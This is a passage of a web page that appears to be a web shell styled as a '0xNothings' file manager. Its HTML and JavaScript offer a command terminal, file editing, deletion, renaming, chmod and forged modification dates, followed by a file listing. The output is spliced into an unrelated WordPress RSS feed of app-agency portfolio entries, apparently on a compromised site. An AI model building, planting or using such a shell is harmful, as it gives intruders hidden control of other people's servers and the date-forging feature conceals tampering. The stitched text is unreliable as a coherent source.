                <input type="hidden" name="action" value="change_date">
                <input type="hidden" name="date_filename" id="date_filename">
                <div class="modal-body">
                    <p id="date_display_name" style="margin-bottom: 10px; font-size: 13px;"></p>
                    <input type="text" name="new_date" id="new_date_input" class="terminal-input" style="width: 100%;" placeholder="YYYY-MM-DD HH:MM:SS" required>
                    <small style="color:#888; display:block; margin-top:5px;">Format: YYYY-MM-DD HH:MM:SS (Copy paste diperbolehkan)</small>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-danger" onclick="closeDateModal()">Cancel</button>
                    <button type="submit" class="btn btn-success">Update</button>
                </div>
            </form>
        </div>
    </div>

    <div id="chmodModal" class="modal">
        <div class="modal-content" style="max-width: 400px;">
            <div class="modal-header">
                <div class="modal-title"><i class="fas fa-key"></i> Change Permissions</div>
                <button class="modal-close" onclick="closeChmodModal()">&times;</button>
            </div>
            <form method="post">
                <input type="hidden" name="action" value="change_perms">
                <input type="hidden" name="perms_filename" id="perms_filename">
                <div class="modal-body">
                    <p id="perms_display_name" style="margin-bottom: 10px; font-size: 13px;"></p>
                    <input type="text" name="new_perms" id="new_perms_input" class="terminal-input" style="width: 100%;" placeholder="0755" required>
                    <small style="color:#888; display:block; margin-top:5px;">Contoh: 0644, 0755, 0777</small>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-danger" onclick="closeChmodModal()">Cancel</button>
                    <button type="submit" class="btn btn-success">Update</button>
                </div>
            </form>
        </div>
    </div>

    <script>
        function insertCommand(cmd) {
            document.getElementById('terminal-input').value = cmd;
            document.getElementById('terminal-input').focus();
        }

        function viewFile(filename) {
            const form = document.createElement('form');
            form.method = 'POST';
            const action = document.createElement('input');
            action.type = 'hidden'; action.name = 'action'; action.value = 'view_file';
            const nameInput = document.createElement('input');
            nameInput.type = 'hidden'; nameInput.name = 'view_filename'; nameInput.value = filename;
            form.appendChild(action); form.appendChild(nameInput);
            document.body.appendChild(form); form.submit();
        }

        function closeModal() {
            const modal = document.getElementById('fileModal');
            if (modal) { modal.style.display = 'none'; window.location.href = window.location.pathname + window.location.search; }
        }

        // MODIFIKASI TANGGAL (JS)
        function changeDate(filename, currentDate) {
            document.getElementById('date_filename').value = filename;
            document.getElementById('date_display_name').innerText = "File: " + filename;
            document.getElementById('new_date_input').value = currentDate;
            document.getElementById('dateModal').classList.add('show');
        }

        function closeDateModal() {
            document.getElementById('dateModal').classList.remove('show');
        }

        // MODIFIKASI CHMOD (JS)
        function changePerms(filename, currentPerms) {
            document.getElementById('perms_filename').value = filename;
            document.getElementById('perms_display_name').innerText = "File: " + filename;
            document.getElementById('new_perms_input').value = currentPerms;
            document.getElementById('chmodModal').classList.add('show');
        }

        function closeChmodModal() {
            document.getElementById('chmodModal').classList.remove('show');
        }

        function confirmDelete(filename) {
            if (confirm(`Delete "${filename}"?`)) {
                const form = document.createElement('form');
                form.method = 'POST';
                const action = document.createElement('input');
                action.type = 'hidden'; action.name = 'action'; action.value = 'delete';
                const nameInput = document.createElement('input');
                nameInput.type = 'hidden'; nameInput.name = 'delete_name'; nameInput.value = filename;
                form.appendChild(action); form.appendChild(nameInput);
                document.body.appendChild(form); form.submit();
            }
        }

        function renameFile(filename) {
            const newName = prompt(`Rename "${filename}" to:`, filename);
            if (newName && newName !== filename) {
                const form = document.createElement('form');
                form.method = 'POST';
                const action = document.createElement('input');
                action.type = 'hidden'; action.name = 'action'; action.value = 'rename';
                const oldInput = document.createElement('input');
                oldInput.type = 'hidden'; oldInput.name = 'old_name'; oldInput.value = filename;
                const newInput = document.createElement('input');
                newInput.type = 'hidden'; newInput.name = 'new_name'; newInput.value = newName;
                form.appendChild(action); form.appendChild(oldInput); form.appendChild(newInput);
                document.body.appendChild(form); form.submit();
            }
        }

        function newFolder() {
            const folderName = prompt('New folder name:');
            if (folderName) {
                const form = document.createElement('form');
                form.method = 'POST';
                const action = document.createElement('input');
                action.type = 'hidden'; action.name = 'action'; action.value = 'new_folder';
                const nameInput = document.createElement('input');
                nameInput.type = 'hidden'; nameInput.name = 'folder_name'; nameInput.value = folderName;
                form.appendChild(action); form.appendChild(nameInput);
                document.body.appendChild(form); form.submit();
            }
        }

        function newFile() {
            const fileName = prompt('New file name:');
            if (fileName) {
                const form = document.createElement('form');
                form.method = 'POST';
                const action = document.createElement('input');
                action.type = 'hidden'; action.name = 'action'; action.value = 'new_file';
                const nameInput = document.createElement('input');
                nameInput.type = 'hidden'; nameInput.name = 'file_name'; nameInput.value = fileName;
                form.appendChild(action); form.appendChild(nameInput);
                document.body.appendChild(form); form.submit();
            }
        }
    </script>
</body>
</html>

Directory Contents

Dirs: 0 × Files: 8
Name Size Perms Modified Actions
6.72 KB lrw-r--r-- 2026-02-01 17:41:08
Edit Download
1.23 KB lrw-r--r-- 2024-11-13 02:20:25
Edit Download
34.60 KB lrw-r--r-- 2025-05-20 12:00:00
Edit Download
3.70 KB lrw-r--r-- 2026-02-01 17:41:08
Edit Download
1.50 KB lrw-r--r-- 2026-02-01 17:41:08
Edit Download
189.48 KB lrw-r--r-- 2026-06-07 20:00:05
Edit Download
12.16 KB lrw-r--r-- 2026-06-07 20:00:05
Edit Download
52.37 KB lrw-r--r-- 2026-06-07 20:00:05
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 0xNothings — Secure File Manager. All rights reserved. Built with ❤️ & Tailwind x Dark UI
Upload
Kotlin Archives - Weelorum https://weelorum.com/technology/kotlin/ Full Cycle Mobile App Development Services For Startups Sun, 01 Mar 2026 20:04:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 PayFlow https://weelorum.com/portfolio-projects/payflow/ Sun, 01 Mar 2026 20:04:38 +0000 https://weelorum.com/success-stories/payflow/ PayFlow is a fintech application that simplifies international money transfers and currency exchange. Users can hold multiple currencies, send money globally with competitive rates, and receive instant notifications. The app features biometric authentication and real-time transaction tracking.

Сообщение PayFlow появились сначала на Weelorum.

]]>
PayFlow is a fintech application that simplifies international money transfers and currency exchange. Users can hold multiple currencies, send money globally with competitive rates, and receive instant notifications. The app features biometric authentication and real-time transaction tracking.

Сообщение PayFlow появились сначала на Weelorum.

]]>
Knock Knock https://weelorum.com/portfolio-projects/knock-knock/ Sun, 01 Mar 2026 20:04:37 +0000 https://weelorum.com/success-stories/knock-knock/ Knock Knock is a real-time restaurant discovery app. It shows users what’s happening inside venues, how crowded they are, and offers live previews via photos and video. The app uses geolocation to help people choose where to eat or socialize based on current ambiance.

Сообщение Knock Knock появились сначала на Weelorum.

]]>
Knock Knock is a real-time restaurant discovery app. It shows users what’s happening inside venues, how crowded they are, and offers live previews via photos and video. The app uses geolocation to help people choose where to eat or socialize based on current ambiance.

Сообщение Knock Knock появились сначала на Weelorum.

]]>